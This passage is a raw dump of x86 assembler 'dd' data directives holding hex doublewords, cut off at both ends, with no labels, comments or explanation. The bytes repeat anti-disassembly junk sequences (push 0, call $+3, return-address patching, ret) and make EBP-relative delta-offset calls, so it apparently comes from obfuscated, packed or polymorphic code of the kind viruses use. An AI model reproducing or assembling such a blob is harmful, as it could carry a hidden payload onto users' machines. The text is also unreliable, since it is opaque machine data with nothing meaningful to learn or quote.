6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F8E5C357h, 0D2BFEA91h, 8B8FE626h dd 352F25BDh, 0EDB58B09h, 0BA093504h, 6, 0FE9h, 0B7D82000h dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0C38BFE8Bh, 13E9h dd 0BB412800h, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h dd 6604E8C1h, 0F766FB8Bh, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D39078E0h dd 89EB2AEBh, 350E61BDh, 70DE8109h, 2B761580h, 51006AD8h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0B6837656h, 3E590AFDh, 0BBBE2589h, 604918B6h, 6850Fh dd 8D8B0000h, 9351AD5h, 13E9h, 8112B600h, 0D2CF60E6h, 5360BAD6h dd 8C95032Ah, 6EF63DD7h, 1C895061h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4BB20E8Fh dd 32F77749h, 0B5FF8F2Ch, 93528EDh, 3011B58Bh, 95FF0935h dd 9350829h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0DDC35646h, 3CD04A32h, 89D85C43h, 350F1D85h, 86CE8109h dd 0B0072364h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 39A374C2h, 739AA471h dd 666093B0h, 0BED402BAh, 4B16DE63h, 6840F61h, 2B000000h dd 350EA5BDh, 6A70E609h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0C766C350h, 0A4BE66CDh dd 3C71E411h, 98830F61h, 8B000002h, 3512B1BDh, 0D8B60F09h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h dd 0F9BF0F86h, 0BAF38B66h, 6, 2E59B58Bh, 85890935h, 9350F25h dd 0AE9C38Bh, 0BB000000h, 79A661A1h, 0FE2EBE37h, 4E8C1BEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B7C35747h dd 0E2F7668Fh, 0D82BF38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 15C35646h, 1A8BAD16h, 9BED5E81h, 8D8B5760h dd 9352D19h, 5FB9665Fh, 0E68161E2h, 31294DB6h, 6498D89h dd 0E9580935h, 5, 87514672h, 0FD82BA9h, 1D288h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E3EBAA02h, 81E6CDFFh, 243CC8E7h, 7B924h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0E06C55C3h, 0EFC72824h, 6800FA7h, 81000000h, 0E9FEFDEh dd 0FD950128h, 83093526h, 0BE900C1h, 0CD000000h, 0CB314EE7h dd 93D83C17h, 14E86CFBh, 81000000h, 0C45860B9h, 9CD966A6h dd 0BB3B2691h, 0F5CC9A6Fh, 8BEF6614h, 3528F9BDh, 0D93B5E09h dd 135860Fh, 0BF660000h, 8C66C901h, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 966EBE77h dd 0E82B6CC6h, 5, 62F0ABB8h, 0BD89608Ch, 93502D9h, 0C1F65E61h dd 0E8840F04h, 66000000h, 3F77D681h, 247195FFh, 10E90935h dd 0CA000000h, 3D989E6Dh, 0EEB07C1h, 98D0A696h, 5B01E9AFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4AC35343h dd 0ECC27F09h, 2BCB8171h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 6FEC608h, 2BD58589h dd 343D0935h, 0F000008h, 7286h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D50490h, 1E7EECC1h dd 840F22D5h, 6, 8FB2F781h, 44E93D70h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0DD42C356h, 0CE9C8071h, 11E8CFh, 0EED00000h, 64D6F4C6h dd 5939FBAEh, 75E2D203h, 6623D5F9h, 8B5FF08Bh, 0F99D89C0h dd 8B09350Bh, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 51DDC353h, 9DB58B8Ch dd 0C709351Dh, 3516D185h, 3189D109h, 0FDB58957h, 0F09351Bh dd 18Ah, 0C08BF900h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0A3C35747h, 0EA68C0ECh, 0CB3AF970h, 198D29A6h dd 81093510h, 3528EDBDh, 7D009h, 59850F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 5882C357h, 0ED85FF76h, 6A093528h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8302C353h, 12E8h, 74C23700h, 0A47139A3h, 93B0739Ah dd 242E0493h, 5E0D1C6Eh, 28EDB5FFh, 6A0935h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A860A9C3h dd 4E382E5h, 8997E67Eh, 35033595h, 2995FF09h, 29093508h dd 352DB1BDh, 23609009h, 351179B5h, 8B61F809h, 352951B5h dd 45B58B09h, 0E9093500h, 0Ch, 2FAE5055h, 0D73EFF7Eh, 0D3ED066Fh dd 1039B58Bh, 0F7810935h, 7134F525h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 9AC35545h, 0B8C0Fh, 8F0F0000h dd 5, 91F2AEBFh, 51B50350h, 2309352Ch, 350005BDh, 75BD8B09h dd 66093508h, 6A4B6DBFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0F9D7C350h, 0F29C187h dd 0BD03F6B7h, 9350FF9h, 0CE9BD23h, 0BF660935h, 0B5891331h dd 9350D09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0AAC35343h, 0BD8B6FF7h, 9353061h, 0AC1B531h, 0F78B0935h dd 0C49BD29h, 81660935h, 1D85BEEh, 350669BDh, 0BDBD0B09h dd 66093504h, 9589FE8Bh, 9352F55h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 25C35545h, 66D2F797h, 0A9C5E781h dd 0FFF745E9h, 0D68166FFh, 6A60A7AEh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9655C352h dd 0DD41733h, 0B1DDE93h, 60C7B70Fh, 1C45B58Bh, 0C28B0935h dd 0FFFEB961h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 4652DC3h, 3C7ABB08h, 958949ADh dd 9350F89h, 2CED8D21h, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0F77B6AC3h, 0ACF015D6h dd 941BB5BBh, 218D2110h, 6A093512h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 4B86C352h dd 7E4880DDh, 0D78B6742h dd 17AD958Bh, 800F0935h, 15h, 10E9h, 70968000h, 6FF1D0F5h dd 8F663470h, 37E98D63h, 0ED8D8B2Eh, 8009352Ch, 0E1837CDCh dd 30850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0CC60C356h, 952B755Bh dd 9350489h, 6ED4BBAh, 7D85895Bh, 8B093522h, 3512218Dh dd 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 7F3ED737h, 89FEB321h, 35259D8Dh, 5BB6609h dd 1E183C9h, 1E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 9BC5DC3h, 6A6061h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 9BCB05C3h, 89852343h, 0B9093527h, 0FFFFFFFEh, 22CD9589h dd 8D210935h, 9350B21h, 8D21FE8Bh, 9350441h, 118D8960h dd 0F09352Ch, 8B61D8B7h, 350B218Dh, 1890F09h, 0F9000000h dd 0F01E183h, 3685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 3848BAEEh, 8AEB3D1h, 0C870F35h dd 0F000000h, 680h, 890F00h, 8B000000h, 3504418Dh, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 837D637Fh, 1E18347h, 2850Fh, 0F28B0000h, 9D2B6061h dd 9352809h, 0FFFFFEB9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 3C168276h, 39832FA9h dd 0DE98F11h, 1D000000h, 1B998695h, 49E75E3Bh, 865CD10Bh dd 0CF98D21h, 0BB660935h, 8D21B22Ah, 93500D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A5C35545h, 6CE681D9h dd 8B195182h, 350CF98Dh, 0E19D8B09h, 1093521h, 352F11BDh dd 1E18309h, 26850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 2B1E5CC3h, 0C2BF0F98h dd 68B5B866h, 0D58D8Bh, 0BF0F0935h, 1E183D0h, 2B850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0E4979CC3h, 0DE31CB4Bh, 3C7D9D3h, 35123DB5h dd 8B606109h, 352C2D9Dh, 0FFFEB909h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 16F97C3h dd 352C7585h, 1D8D2109h, 6A093510h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F980C351h dd 436BF0AAh, 14E9BDh, 2AF70000h, 7AEFC43Fh, 9B9ABCF8h dd 9E2DED10h, 41BCD5D8h, 8B603EC7h, 3521C98Dh, 3DF38109h dd 611CDFC7h, 16D18D21h, 9D8B0935h, 9351AE9h, 101D8D8Bh dd 0DB810935h, 31DEF74Bh, 0F01E183h, 3185h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0FE93D25h, 53000000h, 1184EAB4h, 0D6E5742Ch, 292D26ABh dd 8D8B94ADh, 93516D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 45C35343h, 254467CAh, 0C63062ECh, 1E183F8h dd 22850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 3F58B1C3h, 10D239A2h, 6A6061h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 23CBA6C3h, 352CA5BDh, 0ED85C709h, 0D0093528h, 6A000007h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0C23DC350h, 0C68A37B2h, 57006A61h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0D79868AEh, 0E3569A99h, 0B531BD78h, 9351069h, 9D6107EBh dd 0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0B10A45AEh, 0D0077038h, 0D8A0F73h dd 60000000h, 2D30DBBh, 0A5B5890Dh, 61093510h, 13E9h, 311D1C00h dd 0C8ECCB78h, 50C17CFDh, 399FB2FAh, 3660F7B5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 33C35040h, 4A11FA79h dd 0C18BA47Dh, 8E8h, 0B908C200h, 11F86549h, 5953B038h dd 0A2C78166h, 0E4C181C2h, 89000071h, 3510D59Dh, 1C506809h dd 880F0000h, 0Bh, 6E9h, 0F6E92A00h, 5E54BC72h, 3199D33h dd 31FF0935h, 799D8950h, 5F093522h, 8EF2815Ah, 66061491h dd 0F281F88Bh, 4021BE9Dh, 2860F57h, 60000000h, 0EA815B61h dd 5F8EBC4Ch, 8BCB8166h, 8FF952C0h, 619D8B01h, 83093523h dd 0D7BF04E9h, 8152C18Fh, 1EEh, 12850F00h, 66000000h, 0AACF081h dd 18E9h, 0CD6BBA00h, 0A906F31Ah, 0DABF0F81h, 0FFFF99E9h dd 64E25BFFh, 0EAD0883Ah, 6A6008h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 2DFBB2C3h, 17559529h dd 0C08B0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 6AC35646h, 0E9401566h, 3C88BFECh, 85893FF0h, 93523D5h dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h dd 38B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h dd 83585BD3h, 353079BDh, 17740009h, 38B85350h, 89000004h dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h, 3526D5B5h dd 6870F09h, 0F000000h, 84h, 29C08B00h, 35025D8Dh, 8C7E809h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 15F136C3h, 0BE66E031h, 8589B077h, 9352E9Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 35C35242h dd 96E1CF45h, 0F8A71E7h, 683h, 8DB52900h, 0E8093500h, 869h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h dd 39277426h, 0D8D89EDh, 89093526h, 3506B585h, 36E8F909h dd 6A000008h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 6C92C351h, 2DB54F57h, 892BF7B6h dd 350C4585h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 21A52955h, 0F03D5D9h, 682h, 45B58B00h dd 0E9093505h, 8, 0AAA640ECh, 0AC5BC517h, 7CCE8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 60B25519h, 1B7CBEDBh, 85895473h, 9351BBDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 64032B17h dd 7AE88AC5h, 6A000007h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7B6C355h, 54BFDC46h dd 2B4D28BEh, 79858933h, 2909352Ch, 350371B5h, 743E809h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0E10DE2C3h, 0EE93364h, 0D8000000h, 9593B2A6h dd 402654DCh, 0B2545810h, 0DD858969h, 8B093503h, 351F95BDh dd 0E8F88B09h, 6FDh, 11699D29h, 85890935h, 9352B11h, 4AC18166h dd 6E7E8FEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0A456A5C3h dd 13E9h, 4B7FC800h, 8EDCD64h, 0EB5660Ah, 394770F8h, 60413F4Dh dd 2A818D8Bh, 85890935h, 9352BF5h, 9EE8EA8Ah, 0E8000006h dd 0Fh, 4C296AA0h, 0FC6EC4E0h, 0B3C77C1Bh, 8B2793C4h, 351F118Dh dd 8D0F5E09h, 4, 59595151h, 11F58589h, 6A0935h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 26D115C3h, 47671FBh, 5E863h, 0A2A50000h, 89C5B557h dd 35048185h, 0BE85909h, 65000000h, 72B1646Fh, 7EFBF5BDh dd 85293313h, 9350F89h, 623E85Eh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 141319C3h dd 7B41E8D4h, 0D158589h, 6A0935h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 191B87C3h, 6E2C83F4h dd 0B1BCF434h, 5CFE8F6h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D89C8C3h, 93527E5h dd 12398589h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E8A657C3h, 585h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 46C35040h, 30059D09h dd 85890935h, 9350041h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0D5C35545h, 1EB9F1DAh, 0E84DE46Fh, 535h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B3C35747h dd 0C0A8E99h, 0F7DBE790h, 8959F850h, 350A6985h, 56006A09h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0E6E8692Ah, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 7A7FC357h, 164C77E8h dd 32D8D8Bh, 0B70F0935h, 1D8589F9h, 6A093533h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0A9F0C353h, 25E7815Bh, 0BE16EBD7h, 4A618D0Ah, 488E8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 9FD50DAh, 35261595h, 89C3B109h, 35309585h dd 0D9816609h, 52E88938h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 755DC353h dd 0B126B7CAh, 858998B1h, 9350D45h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0B8C35747h, 0BD8B29C3h, 9352635h dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 28296EC3h, 85953112h, 8A093526h, 0D8B60FCEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 81C35141h dd 0FD647B81h, 8BA44FE0h, 3506918Dh, 6BA09h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 92C0F6C3h, 99ACE36Ah, 8BC38B91h, 4E8C1FBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 24C35242h, 23958D8Bh dd 0F7660935h, 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 9C3D35C1h, 0B70FE8D5h dd 6AD82BCFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0CB2FC355h, 0B561EE85h, 0B50B1F2Fh dd 93513E1h, 2661BD09h, 50930935h, 38D0Fh, 8B660000h, 0FA8B93F9h dd 10059D31h, 95FF0935h, 9352471h, 0C88B665Bh, 31B1958Dh dd 0F520935h, 8959C9B7h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 83BF661Eh, 44289B5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 3CC35040h, 2D9BD31h dd 958D0935h, 9352665h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0AAC35747h, 0B5CD65CCh, 6A1A8998h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 8670C350h, 0CB2ACB0Eh, 0D1D015B6h, 85EF81F9h, 89134F46h dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 7BB510C3h, 0D65958Dh, 6E90935h, 0D9000000h dd 0D9D0EDC5h, 0BE1A89D6h, 1FF0149Dh, 0E9044289h, 14h dd 124CD3E3h, 904AF22Fh, 0C84BF355h, 0EF0EA292h, 79013164h dd 106D958Dh, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 5A50E1C3h, 16A6B43Fh, 0F5B28F8h dd 185h, 1A89F800h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F9C35040h, 1CEF6DDh, 5BD8B78h, 89093530h dd 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 57B599C3h, 0E56F4C1Eh, 95898E7Fh, 9353165h dd 2561958Dh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0D9D5CFC3h, 0B52960E1h, 9350185h dd 11E8h, 0DB67E700h, 0C32F6977h, 0E5973316h, 26786617h dd 0B53155ECh, 935089Dh, 1A89615Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 5DC35242h, 89CAB70Fh, 6A0442h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 3E0D41C3h, 0C95AC2D5h, 8A0FE991h, 6, 850Fh, 958D0000h dd 93523E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 3AC35747h, 957C9132h, 8D8B1A89h, 9351BF5h, 8B044289h dd 350819BDh, 1D958D09h, 6009352Fh, 0D9B58BFCh, 6109350Ch dd 59531A89h, 53044289h, 5F5F5253h, 0D9958D5Eh, 89093528h dd 3528658Dh, 891A8909h, 352E259Dh, 4428909h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 6F4F318Ah dd 58D89AEh, 89093508h, 35305DB5h, 0ACE909h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0D75094C3h, 6800F61h, 23000000h, 35229DB5h, 0F006A09h dd 588h, 0DF816600h, 5ABE9E60h, 6A75718Bh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 2B6D59FBh, 66006A81h, 6AF88Bh, 27F18166h, 8195FFBBh dd 0BF09350Ch, 22B71C14h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0FBCD32DEh dd 10E9D6h, 0F1D60000h, 6AF7BFB5h, 3E455A96h, 0AFDE55DDh dd 0C58A1C9Fh, 0F7816650h, 8B5EDE0Ah, 6AC08BCEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C5BDC352h, 932F3949h, 89D585E0h, 35026DB5h, 0A1BD8309h dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h dd 438h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh, 3079BD83h dd 74000935h, 0B8535017h, 438h, 2CA98589h, 9D8D0935h, 937B140h dd 585BD3FFh, 0FF7BF0Fh, 0B81h, 6E900h, 82140000h, 6D567C7Ch dd 38B0Fh, 0BF0F0000h, 8DC08BF0h, 35265985h, 5E809h, 74D40000h dd 2BEFFDCDh, 35321DBDh dd 0E8505F09h, 0Ah, 0D659F2ECh, 69689537h, 0FBBF254Ah dd 5F3AA13Fh, 66240489h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 1BC35141h, 0A663D26Ah, 0BF0F5C9Bh dd 2B006ADFh, 3513E99Dh, 0DE858D09h, 6A09393Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 663BC353h, 16019D0Bh, 0BD890935h, 93511E5h, 6605C083h dd 624DF81h, 0FE8B6650h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D16C351h dd 0CC11A4E6h, 6A9EBAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0FCC35747h, 35F4BBC2h, 2E0EBFF2h, 6A5F82h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 80C35545h dd 1A8F279Ah, 0D9C7813Dh, 6614F3B1h, 673DF781h, 33195FFh dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 65CED2C3h, 8D4A71A7h, 389AAB8Dh, 14F78009h dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0FCF771C3h, 1F8C0Fh, 14E80000h, 0F5000000h dd 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch, 66442799h dd 0EDC4DB81h, 19BD835Bh, 109351Ch, 0BE850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 82E20C3h, 160CF0B5h, 24D1BD89h, 8B660935h, 6A026ADAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0B9B4C350h, 4C65E55Dh, 0C1B5899Ch, 66093531h dd 9B7BF381h, 11E9h, 4E538400h, 93A57385h, 559FBE36h, 0EACF0818h dd 60906FEDh, 890F53h, 5A000000h, 5061FC8Ah, 8B666060h dd 0F5250D6h, 61585A31h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0BB7ED3C3h, 81E1E1C0h dd 0F8DD3ACBh, 5195FF12h, 66093511h, 0BE93EF81h, 0EF1E9h dd 0E800h, 815D0000h, 393DE8EDh, 0A323BB09h, 858D1BEAh dd 938932Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0EFC35141h, 519D8B77h, 8B09350Dh, 3512D59Dh, 4895009h dd 64D88B24h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0B87AAFC3h, 58208AA5h dd 25896484h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 57C35646h dd 1AE0029Eh, 13922BC8h, 89536027h, 3515FD8Dh, 0BD8B5A09h dd 93527D1h, 985FF61h, 0F093530h, 68Dh, 49BD8B00h, 6A093532h dd 0FFD88BFFh, 352E9DB5h, 0C59D8B09h, 0FF09350Fh, 352EB995h dd 0DFE909h, 8B660000h, 853360D8h, 9353319h, 0A45B58Bh dd 0B0610935h, 9DBD2B00h, 23093506h, 3500759Dh, 2970E609h dd 352F258Dh, 6671E409h, 0F368DF81h, 830F613Ch, 0A9h, 0F059D8Bh dd 0B60F0935h, 6BAC8h, 8BF90000h, 890FC1h, 0C1000000h dd 8D8904E8h, 9351051h, 66E2F766h, 0C82BD88Bh, 0BE8h, 3E71D300h dd 0ABD06F51h, 465F0808h, 5BFEBF0Fh, 0BF0FD18Bh, 5E9DFh dd 81660000h, 8BE46FDBh, 3531B185h, 0DFB70F09h, 6607C083h dd 83DD67BFh, 0B58900C0h, 9350F69h, 830FD03Bh, 9, 38E9h dd 0B3BB6600h, 0F98D8BD9h, 8A09350Ch, 1E183F8h, 23840Fh dd 9D890000h, 9353341h, 0CF9A583h, 81FE0935h, 61F891DFh dd 89D88B24h, 3531B195h, 0DEBF0F09h, 0E9h, 0BEB58D00h dd 6A0938CEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0B5EDC350h, 5B676743h, 0EB816686h dd 0BD33632Eh, 93502F9h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 70A254C3h, 99E188A1h dd 8B60A5BCh, 3528518Dh, 61CA8B09h, 2B3D9589h, 95FF0935h dd 9350829h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 33C35141h, 330CFB73h, 1BC5B589h, 8DB90935h, 0E9000007h dd 7, 261A9EDFh, 83AB8FBEh, 6AFCE1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 9D328EC3h dd 8BFF84C8h, 3528D1BDh, 0DF80FC09h, 0B83Ch, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C568D1C3h, 0BE0A3076h, 88A0F0Bh, 0F000000h, 287h, 2BF88B00h dd 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9A618DCBh, 0CE145DCEh, 33AD33F7h, 3E8D1C2h dd 4E983D0h, 0BD33F475h, 9352425h, 6029F380h, 880D61h dd 958B0000h, 9351629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 81C35545h, 8D8B5856h, 935287Dh, 50F88B66h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0CF9D635Fh, 69CF8060h, 169D958Bh, 66610935h, 6A656FBFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0B5ACC351h, 0BD83F78Ch, 9351249h, 91840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0A560C357h, 0E9288822h, 0Bh, 53856EBFh dd 51A10BF9h, 0B82B14E8h, 0 dd 5850Fh, 42BF0000h, 8D083234h, 354C028Dh, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E61C5958h, 33299D89h, 0E1FF0935h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 33C35545h, 699D3352h, 5F093525h dd 2255BD83h, 0F000935h, 50484h, 0D99D8B00h, 89093529h dd 35004995h, 55BD8309h, 1093522h, 506840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 30C3F1C3h, 0A4F8D291h, 0E7819A73h, 8727B70h, 2255BD83h dd 